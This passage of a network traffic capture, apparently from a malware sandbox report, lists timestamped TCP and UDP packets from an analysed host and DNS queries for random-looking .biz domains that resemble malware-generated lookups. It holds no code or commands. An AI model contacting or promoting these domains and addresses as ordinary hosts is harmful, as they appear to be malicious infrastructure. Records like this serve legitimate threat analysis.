Oct 31, 2024 16:05:31.364690065 CET	49307	80	192.168.2.22	18.208.156.248
Oct 31, 2024 16:05:31.369604111 CET	80	49307	18.208.156.248	192.168.2.22
Oct 31, 2024 16:05:31.369692087 CET	49307	80	192.168.2.22	18.208.156.248
Oct 31, 2024 16:05:31.369847059 CET	49307	80	192.168.2.22	18.208.156.248
Oct 31, 2024 16:05:31.369939089 CET	49307	80	192.168.2.22	18.208.156.248
Oct 31, 2024 16:05:31.374651909 CET	80	49307	18.208.156.248	192.168.2.22
Oct 31, 2024 16:05:31.374752045 CET	80	49307	18.208.156.248	192.168.2.22
Oct 31, 2024 16:05:31.726428986 CET	80	49305	13.251.16.150	192.168.2.22
Oct 31, 2024 16:05:31.726527929 CET	49305	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:05:31.732196093 CET	80	49305	13.251.16.150	192.168.2.22
Oct 31, 2024 16:05:31.732243061 CET	49305	80	192.168.2.22	13.251.16.150
Oct 31, 2024 16:05:31.735644102 CET	49308	80	192.168.2.22	34.246.200.160
Oct 31, 2024 16:05:31.740546942 CET	80	49308	34.246.200.160	192.168.2.22
Oct 31, 2024 16:05:31.740664959 CET	49308	80	192.168.2.22	34.246.200.160
Oct 31, 2024 16:05:31.740777016 CET	49308	80	192.168.2.22	34.246.200.160
Oct 31, 2024 16:05:31.740777016 CET	49308	80	192.168.2.22	34.246.200.160
Oct 31, 2024 16:05:31.745659113 CET	80	49308	34.246.200.160	192.168.2.22
Oct 31, 2024 16:05:31.745672941 CET	80	49308	34.246.200.160	192.168.2.22
Oct 31, 2024 16:05:32.042941093 CET	80	49307	18.208.156.248	192.168.2.22
Oct 31, 2024 16:05:32.043070078 CET	49307	80	192.168.2.22	18.208.156.248
Oct 31, 2024 16:05:32.048690081 CET	80	49307	18.208.156.248	192.168.2.22
Oct 31, 2024 16:05:32.048782110 CET	49307	80	192.168.2.22	18.208.156.248
Oct 31, 2024 16:05:32.051594019 CET	49309	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:05:32.056476116 CET	80	49309	44.221.84.105	192.168.2.22
Oct 31, 2024 16:05:32.056688070 CET	49309	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:05:32.056704998 CET	49309	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:05:32.056705952 CET	49309	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:05:32.061638117 CET	80	49309	44.221.84.105	192.168.2.22
Oct 31, 2024 16:05:32.061650991 CET	80	49309	44.221.84.105	192.168.2.22
Oct 31, 2024 16:05:32.723366976 CET	80	49308	34.246.200.160	192.168.2.22
Oct 31, 2024 16:05:32.727210999 CET	80	49309	44.221.84.105	192.168.2.22
Oct 31, 2024 16:05:32.937004089 CET	49308	80	192.168.2.22	34.246.200.160
Oct 31, 2024 16:05:32.937007904 CET	49309	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:05:33.010828018 CET	80	49309	44.221.84.105	192.168.2.22
Oct 31, 2024 16:05:33.010845900 CET	80	49309	44.221.84.105	192.168.2.22
Oct 31, 2024 16:05:33.010879040 CET	49309	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:05:33.010905981 CET	49309	80	192.168.2.22	44.221.84.105
Oct 31, 2024 16:05:33.010941029 CET	80	49308	34.246.200.160	192.168.2.22
Oct 31, 2024 16:05:33.010977983 CET	80	49308	34.246.200.160	192.168.2.22
Oct 31, 2024 16:05:33.010992050 CET	80	49309	44.221.84.105	192.168.2.22
Oct 31, 2024 16:05:33.010998011 CET	49308	80	192.168.2.22	34.246.200.160
Oct 31, 2024 16:05:33.011024952 CET	49308	80	192.168.2.22	34.246.200.160
Oct 31, 2024 16:05:33.011032104 CET	49309	80	192.168.2.22	44.221.84.105

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 31, 2024 16:03:23.525310993 CET	54562	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:03:23.532434940 CET	53	54562	8.8.8.8	192.168.2.22
Oct 31, 2024 16:03:24.566169024 CET	52917	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:03:24.573858976 CET	53	52917	8.8.8.8	192.168.2.22
Oct 31, 2024 16:03:25.252047062 CET	62751	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:03:25.259171963 CET	53	62751	8.8.8.8	192.168.2.22
Oct 31, 2024 16:03:26.069413900 CET	57893	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:03:26.077045918 CET	53	57893	8.8.8.8	192.168.2.22
Oct 31, 2024 16:03:26.951122046 CET	54821	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:03:26.957923889 CET	53	54821	8.8.8.8	192.168.2.22
Oct 31, 2024 16:03:27.128189087 CET	54719	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:03:27.137119055 CET	53	54719	8.8.8.8	192.168.2.22
Oct 31, 2024 16:03:28.542793036 CET	49881	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:03:28.549537897 CET	53	49881	8.8.8.8	192.168.2.22
Oct 31, 2024 16:03:29.763891935 CET	54998	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:03:29.771703005 CET	53	54998	8.8.8.8	192.168.2.22
Oct 31, 2024 16:03:31.023544073 CET	52781	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:03:31.030354977 CET	53	52781	8.8.8.8	192.168.2.22
Oct 31, 2024 16:03:31.419876099 CET	63926	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:03:31.427987099 CET	53	63926	8.8.8.8	192.168.2.22
Oct 31, 2024 16:03:31.750077963 CET	65510	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:03:31.751761913 CET	62672	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:03:31.756711006 CET	53	65510	8.8.8.8	192.168.2.22
Oct 31, 2024 16:03:31.759154081 CET	53	62672	8.8.8.8	192.168.2.22
Oct 31, 2024 16:03:33.471661091 CET	56475	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:03:33.473027945 CET	49384	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:03:33.478832960 CET	53	56475	8.8.8.8	192.168.2.22
Oct 31, 2024 16:03:33.479480028 CET	53	49384	8.8.8.8	192.168.2.22
Oct 31, 2024 16:03:33.569217920 CET	54842	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:03:33.573576927 CET	58105	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:03:33.576710939 CET	53	54842	8.8.8.8	192.168.2.22
Oct 31, 2024 16:03:33.581806898 CET	53	58105	8.8.8.8	192.168.2.22
Oct 31, 2024 16:03:33.594926119 CET	64928	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:03:33.601650953 CET	53	64928	8.8.8.8	192.168.2.22
Oct 31, 2024 16:03:35.067234039 CET	57390	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:03:35.074826956 CET	53	57390	8.8.8.8	192.168.2.22
Oct 31, 2024 16:03:35.137392044 CET	58095	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:03:35.144059896 CET	53	58095	8.8.8.8	192.168.2.22
Oct 31, 2024 16:03:35.775473118 CET	54261	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:03:35.782653093 CET	53	54261	8.8.8.8	192.168.2.22
Oct 31, 2024 16:03:45.997428894 CET	60507	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:03:46.391503096 CET	53	60507	8.8.8.8	192.168.2.22
Oct 31, 2024 16:03:46.392015934 CET	60507	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:03:46.398708105 CET	53	60507	8.8.8.8	192.168.2.22
Oct 31, 2024 16:03:46.578746080 CET	50446	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:03:46.586213112 CET	53	50446	8.8.8.8	192.168.2.22
Oct 31, 2024 16:03:47.452017069 CET	55939	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:03:47.462785006 CET	53	55939	8.8.8.8	192.168.2.22
Oct 31, 2024 16:03:50.666085005 CET	49608	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:03:50.672868013 CET	53	49608	8.8.8.8	192.168.2.22
Oct 31, 2024 16:03:56.721014977 CET	61486	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:03:56.731177092 CET	53	61486	8.8.8.8	192.168.2.22
Oct 31, 2024 16:03:58.582206011 CET	62453	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:03:58.590610981 CET	53	62453	8.8.8.8	192.168.2.22
Oct 31, 2024 16:03:59.455070972 CET	50568	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:03:59.462209940 CET	53	50568	8.8.8.8	192.168.2.22
Oct 31, 2024 16:04:01.003171921 CET	61467	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:04:01.009706020 CET	53	61467	8.8.8.8	192.168.2.22
Oct 31, 2024 16:04:01.966027021 CET	61618	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:04:01.973385096 CET	53	61618	8.8.8.8	192.168.2.22
Oct 31, 2024 16:04:02.680120945 CET	54422	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:04:02.687546968 CET	53	54422	8.8.8.8	192.168.2.22
Oct 31, 2024 16:04:05.366153955 CET	52074	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:04:05.373272896 CET	53	52074	8.8.8.8	192.168.2.22
Oct 31, 2024 16:04:05.483288050 CET	50337	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:04:05.490128040 CET	53	50337	8.8.8.8	192.168.2.22
Oct 31, 2024 16:04:06.989022017 CET	61826	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:04:06.996061087 CET	53	61826	8.8.8.8	192.168.2.22
Oct 31, 2024 16:04:07.005892038 CET	56329	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:04:07.014338970 CET	53	56329	8.8.8.8	192.168.2.22
Oct 31, 2024 16:04:07.031770945 CET	63469	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:04:07.038316011 CET	53	63469	8.8.8.8	192.168.2.22
Oct 31, 2024 16:04:09.472615004 CET	59447	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:04:09.480231047 CET	53	59447	8.8.8.8	192.168.2.22
Oct 31, 2024 16:04:10.957204103 CET	51828	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:04:10.964127064 CET	53	51828	8.8.8.8	192.168.2.22
Oct 31, 2024 16:04:13.429949045 CET	53406	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:04:13.437541008 CET	53	53406	8.8.8.8	192.168.2.22
Oct 31, 2024 16:04:16.027760983 CET	56345	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:04:16.254775047 CET	53	56345	8.8.8.8	192.168.2.22
Oct 31, 2024 16:04:19.538108110 CET	51870	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:04:19.548280954 CET	53	51870	8.8.8.8	192.168.2.22
Oct 31, 2024 16:04:21.506127119 CET	65009	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:04:21.513447046 CET	53	65009	8.8.8.8	192.168.2.22
Oct 31, 2024 16:04:22.852927923 CET	64956	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:04:22.861208916 CET	53	64956	8.8.8.8	192.168.2.22
Oct 31, 2024 16:04:24.311938047 CET	54521	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:04:24.319210052 CET	53	54521	8.8.8.8	192.168.2.22
Oct 31, 2024 16:04:25.125164986 CET	49750	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:04:25.526242971 CET	53	49750	8.8.8.8	192.168.2.22
Oct 31, 2024 16:04:26.997056007 CET	49750	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:04:27.004558086 CET	53	49750	8.8.8.8	192.168.2.22
Oct 31, 2024 16:04:27.540611029 CET	64687	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:04:27.549418926 CET	53	64687	8.8.8.8	192.168.2.22
Oct 31, 2024 16:04:29.626300097 CET	65084	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:04:29.633208990 CET	53	65084	8.8.8.8	192.168.2.22
Oct 31, 2024 16:04:30.329432011 CET	63373	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:04:30.336721897 CET	53	63373	8.8.8.8	192.168.2.22
Oct 31, 2024 16:04:32.137979984 CET	56207	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:04:32.318842888 CET	53	56207	8.8.8.8	192.168.2.22
Oct 31, 2024 16:04:33.290034056 CET	51014	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:04:33.298180103 CET	53	51014	8.8.8.8	192.168.2.22
Oct 31, 2024 16:04:34.165716887 CET	53060	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:04:34.172955990 CET	53	53060	8.8.8.8	192.168.2.22
Oct 31, 2024 16:04:35.400630951 CET	63950	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:04:35.407756090 CET	53	63950	8.8.8.8	192.168.2.22
Oct 31, 2024 16:04:36.259728909 CET	58257	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:04:36.266210079 CET	53	58257	8.8.8.8	192.168.2.22
Oct 31, 2024 16:04:36.603092909 CET	54738	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:04:36.609850883 CET	53	54738	8.8.8.8	192.168.2.22
Oct 31, 2024 16:04:37.480940104 CET	49478	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:04:37.487571955 CET	53	49478	8.8.8.8	192.168.2.22
Oct 31, 2024 16:04:38.356095076 CET	49288	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:04:38.635418892 CET	53	49288	8.8.8.8	192.168.2.22
Oct 31, 2024 16:04:40.148008108 CET	61598	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:04:40.155791998 CET	53	61598	8.8.8.8	192.168.2.22
Oct 31, 2024 16:04:40.939441919 CET	58754	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:04:40.946551085 CET	53	58754	8.8.8.8	192.168.2.22
Oct 31, 2024 16:04:41.815186024 CET	49226	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:04:41.831420898 CET	53	49226	8.8.8.8	192.168.2.22
Oct 31, 2024 16:04:43.445686102 CET	54695	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:04:43.452691078 CET	53	54695	8.8.8.8	192.168.2.22
Oct 31, 2024 16:04:43.460942984 CET	61601	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:04:43.468379974 CET	53	61601	8.8.8.8	192.168.2.22
Oct 31, 2024 16:04:44.369555950 CET	54615	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:04:44.377151012 CET	53	54615	8.8.8.8	192.168.2.22
Oct 31, 2024 16:04:44.726211071 CET	54950	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:04:44.736917973 CET	53	54950	8.8.8.8	192.168.2.22
Oct 31, 2024 16:04:45.071002007 CET	64215	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:04:45.171097994 CET	53	64215	8.8.8.8	192.168.2.22
Oct 31, 2024 16:04:46.209717989 CET	59604	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:04:46.216866970 CET	53	59604	8.8.8.8	192.168.2.22
Oct 31, 2024 16:04:46.685178995 CET	49520	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:04:46.692934990 CET	53	49520	8.8.8.8	192.168.2.22
Oct 31, 2024 16:04:48.053850889 CET	53031	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:04:48.060812950 CET	53	53031	8.8.8.8	192.168.2.22
Oct 31, 2024 16:04:48.144891024 CET	53112	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:04:48.155304909 CET	53	53112	8.8.8.8	192.168.2.22
Oct 31, 2024 16:04:49.065886974 CET	65080	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:04:49.066447973 CET	50702	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:04:49.072391987 CET	53	65080	8.8.8.8	192.168.2.22
Oct 31, 2024 16:04:49.072860003 CET	53	50702	8.8.8.8	192.168.2.22
Oct 31, 2024 16:04:50.601435900 CET	53089	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:04:50.608848095 CET	53	53089	8.8.8.8	192.168.2.22
Oct 31, 2024 16:04:50.612368107 CET	51951	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:04:50.618778944 CET	53	51951	8.8.8.8	192.168.2.22
Oct 31, 2024 16:04:52.058939934 CET	51384	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:04:52.065622091 CET	53	51384	8.8.8.8	192.168.2.22
Oct 31, 2024 16:04:52.183523893 CET	53785	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:04:52.191230059 CET	53	53785	8.8.8.8	192.168.2.22
Oct 31, 2024 16:04:52.941910982 CET	57027	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:04:52.949244022 CET	53	57027	8.8.8.8	192.168.2.22
Oct 31, 2024 16:04:53.170555115 CET	50380	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:04:53.177967072 CET	53	50380	8.8.8.8	192.168.2.22
Oct 31, 2024 16:04:53.932677984 CET	56156	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:04:53.935878038 CET	60971	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:04:53.940154076 CET	53	56156	8.8.8.8	192.168.2.22
Oct 31, 2024 16:04:54.046734095 CET	53	60971	8.8.8.8	192.168.2.22
Oct 31, 2024 16:04:54.877850056 CET	56308	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:04:54.884905100 CET	53	56308	8.8.8.8	192.168.2.22
Oct 31, 2024 16:04:55.119812965 CET	51268	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:04:55.126688957 CET	53	51268	8.8.8.8	192.168.2.22
Oct 31, 2024 16:04:55.878443003 CET	59475	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:04:55.885726929 CET	53	59475	8.8.8.8	192.168.2.22
Oct 31, 2024 16:04:56.662375927 CET	62930	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:04:56.669169903 CET	53	62930	8.8.8.8	192.168.2.22
Oct 31, 2024 16:04:56.775882006 CET	61008	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:04:56.782593966 CET	53	61008	8.8.8.8	192.168.2.22
Oct 31, 2024 16:04:57.614975929 CET	59514	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:04:57.627810001 CET	53	59514	8.8.8.8	192.168.2.22
Oct 31, 2024 16:04:58.229401112 CET	53077	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:04:58.237530947 CET	53	53077	8.8.8.8	192.168.2.22
Oct 31, 2024 16:04:58.652179003 CET	53188	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:04:58.683192015 CET	53	53188	8.8.8.8	192.168.2.22
Oct 31, 2024 16:04:59.234535933 CET	54333	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:04:59.244503021 CET	53	54333	8.8.8.8	192.168.2.22
Oct 31, 2024 16:04:59.632683992 CET	55388	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:04:59.641309023 CET	53	55388	8.8.8.8	192.168.2.22
Oct 31, 2024 16:05:00.856745958 CET	60624	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:05:00.864269972 CET	53	60624	8.8.8.8	192.168.2.22
Oct 31, 2024 16:05:00.873183966 CET	58974	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:05:00.879781008 CET	53	58974	8.8.8.8	192.168.2.22
Oct 31, 2024 16:05:01.551176071 CET	54154	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:05:01.558321953 CET	53	54154	8.8.8.8	192.168.2.22
Oct 31, 2024 16:05:01.560575962 CET	53602	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:05:01.567504883 CET	53	53602	8.8.8.8	192.168.2.22
Oct 31, 2024 16:05:01.749691010 CET	49263	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:05:01.757878065 CET	53	49263	8.8.8.8	192.168.2.22
Oct 31, 2024 16:05:02.593540907 CET	60981	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:05:02.600369930 CET	53	60981	8.8.8.8	192.168.2.22
Oct 31, 2024 16:05:03.050812960 CET	51161	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:05:03.075630903 CET	50357	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:05:03.540597916 CET	53	50357	8.8.8.8	192.168.2.22
Oct 31, 2024 16:05:03.540613890 CET	53	51161	8.8.8.8	192.168.2.22
Oct 31, 2024 16:05:04.364599943 CET	58291	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:05:04.371766090 CET	53	58291	8.8.8.8	192.168.2.22
Oct 31, 2024 16:05:04.519521952 CET	52129	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:05:04.527426958 CET	53	52129	8.8.8.8	192.168.2.22
Oct 31, 2024 16:05:05.375950098 CET	53063	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:05:05.383440018 CET	53	53063	8.8.8.8	192.168.2.22
Oct 31, 2024 16:05:05.953960896 CET	56243	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:05:05.960783958 CET	53	56243	8.8.8.8	192.168.2.22
Oct 31, 2024 16:05:06.824600935 CET	60994	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:05:06.831202030 CET	53	60994	8.8.8.8	192.168.2.22
Oct 31, 2024 16:05:07.415678978 CET	63720	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:05:07.422652960 CET	53	63720	8.8.8.8	192.168.2.22
Oct 31, 2024 16:05:07.548338890 CET	62131	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:05:07.555157900 CET	53	62131	8.8.8.8	192.168.2.22
Oct 31, 2024 16:05:08.123570919 CET	63036	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:05:08.131320953 CET	53	63036	8.8.8.8	192.168.2.22
Oct 31, 2024 16:05:08.267899990 CET	63535	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:05:08.274243116 CET	53	63535	8.8.8.8	192.168.2.22
Oct 31, 2024 16:05:10.019380093 CET	55219	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:05:10.026604891 CET	53	55219	8.8.8.8	192.168.2.22
Oct 31, 2024 16:05:10.027342081 CET	60228	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:05:10.028788090 CET	58671	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:05:10.034212112 CET	53	60228	8.8.8.8	192.168.2.22
Oct 31, 2024 16:05:10.035765886 CET	53	58671	8.8.8.8	192.168.2.22
Oct 31, 2024 16:05:10.714863062 CET	56415	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:05:10.722001076 CET	53	56415	8.8.8.8	192.168.2.22
Oct 31, 2024 16:05:10.870415926 CET	50124	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:05:10.877172947 CET	53	50124	8.8.8.8	192.168.2.22
Oct 31, 2024 16:05:11.553159952 CET	63434	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:05:11.560149908 CET	53	63434	8.8.8.8	192.168.2.22
Oct 31, 2024 16:05:11.592417955 CET	58147	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:05:11.598795891 CET	53	58147	8.8.8.8	192.168.2.22
Oct 31, 2024 16:05:12.604648113 CET	57113	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:05:12.611215115 CET	53	57113	8.8.8.8	192.168.2.22
Oct 31, 2024 16:05:13.662342072 CET	58254	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:05:13.927217960 CET	53	58254	8.8.8.8	192.168.2.22
Oct 31, 2024 16:05:15.119817019 CET	61783	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:05:15.126313925 CET	53	61783	8.8.8.8	192.168.2.22
Oct 31, 2024 16:05:15.396869898 CET	58322	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:05:15.493164062 CET	53	58322	8.8.8.8	192.168.2.22
Oct 31, 2024 16:05:16.156718016 CET	57607	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:05:16.163644075 CET	53	57607	8.8.8.8	192.168.2.22
Oct 31, 2024 16:05:16.365978003 CET	53681	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:05:16.372984886 CET	53	53681	8.8.8.8	192.168.2.22
Oct 31, 2024 16:05:17.611560106 CET	57693	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:05:17.618463039 CET	53	57693	8.8.8.8	192.168.2.22
Oct 31, 2024 16:05:17.805803061 CET	54052	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:05:17.812937021 CET	53	54052	8.8.8.8	192.168.2.22
Oct 31, 2024 16:05:18.350413084 CET	62431	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:05:18.357981920 CET	53	62431	8.8.8.8	192.168.2.22
Oct 31, 2024 16:05:19.789016962 CET	52772	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:05:19.866007090 CET	59180	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:05:20.056787014 CET	53	52772	8.8.8.8	192.168.2.22
Oct 31, 2024 16:05:20.057708025 CET	53	59180	8.8.8.8	192.168.2.22
Oct 31, 2024 16:05:21.948615074 CET	63716	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:05:21.956118107 CET	53	63716	8.8.8.8	192.168.2.22
Oct 31, 2024 16:05:21.966169119 CET	61327	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:05:21.974090099 CET	53	61327	8.8.8.8	192.168.2.22
Oct 31, 2024 16:05:22.507123947 CET	63892	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:05:22.514636040 CET	53	63892	8.8.8.8	192.168.2.22
Oct 31, 2024 16:05:22.689133883 CET	62151	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:05:22.695590019 CET	53	62151	8.8.8.8	192.168.2.22
Oct 31, 2024 16:05:23.190663099 CET	61502	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:05:23.197642088 CET	53	61502	8.8.8.8	192.168.2.22
Oct 31, 2024 16:05:23.692109108 CET	55359	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:05:23.699870110 CET	53	55359	8.8.8.8	192.168.2.22
Oct 31, 2024 16:05:24.257195950 CET	59419	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:05:24.269620895 CET	53	59419	8.8.8.8	192.168.2.22
Oct 31, 2024 16:05:24.979175091 CET	52165	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:05:24.986181974 CET	53	52165	8.8.8.8	192.168.2.22
Oct 31, 2024 16:05:25.034506083 CET	61364	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:05:25.042854071 CET	53	61364	8.8.8.8	192.168.2.22
Oct 31, 2024 16:05:25.870722055 CET	50656	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:05:25.877743006 CET	53	50656	8.8.8.8	192.168.2.22
Oct 31, 2024 16:05:26.953633070 CET	61321	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:05:26.961347103 CET	53	61321	8.8.8.8	192.168.2.22
Oct 31, 2024 16:05:27.316555023 CET	54712	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:05:27.324378967 CET	53	54712	8.8.8.8	192.168.2.22
Oct 31, 2024 16:05:27.863439083 CET	60864	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:05:27.870975018 CET	53	60864	8.8.8.8	192.168.2.22
Oct 31, 2024 16:05:28.163547993 CET	59728	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:05:28.170080900 CET	53	59728	8.8.8.8	192.168.2.22
Oct 31, 2024 16:05:29.596376896 CET	59944	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:05:29.602807045 CET	53	59944	8.8.8.8	192.168.2.22
Oct 31, 2024 16:05:30.273921967 CET	51107	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:05:30.280417919 CET	53	51107	8.8.8.8	192.168.2.22
Oct 31, 2024 16:05:30.286778927 CET	61084	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:05:30.293975115 CET	53	61084	8.8.8.8	192.168.2.22
Oct 31, 2024 16:05:30.502881050 CET	63255	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:05:30.509957075 CET	53	63255	8.8.8.8	192.168.2.22
Oct 31, 2024 16:05:31.356538057 CET	53134	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:05:31.363802910 CET	53	53134	8.8.8.8	192.168.2.22
Oct 31, 2024 16:05:31.727390051 CET	54963	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:05:31.735238075 CET	53	54963	8.8.8.8	192.168.2.22
Oct 31, 2024 16:05:32.044126034 CET	60970	53	192.168.2.22	8.8.8.8
Oct 31, 2024 16:05:32.051146030 CET	53	60970	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 31, 2024 16:03:23.525310993 CET	192.168.2.22	8.8.8.8	0x3143	Standard query (0)	pywolwnvd.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:03:24.566169024 CET	192.168.2.22	8.8.8.8	0x354c	Standard query (0)	ssbzmoy.biz	A (IP address)	IN (0x0001)	false
Oct 31, 2024 16:03:25.252047062 CET	192.168.2.22	8.8.8.8	0xac71	Standard query (0)	pywolwnvd.biz	A (IP address)	IN (0x0001)	false
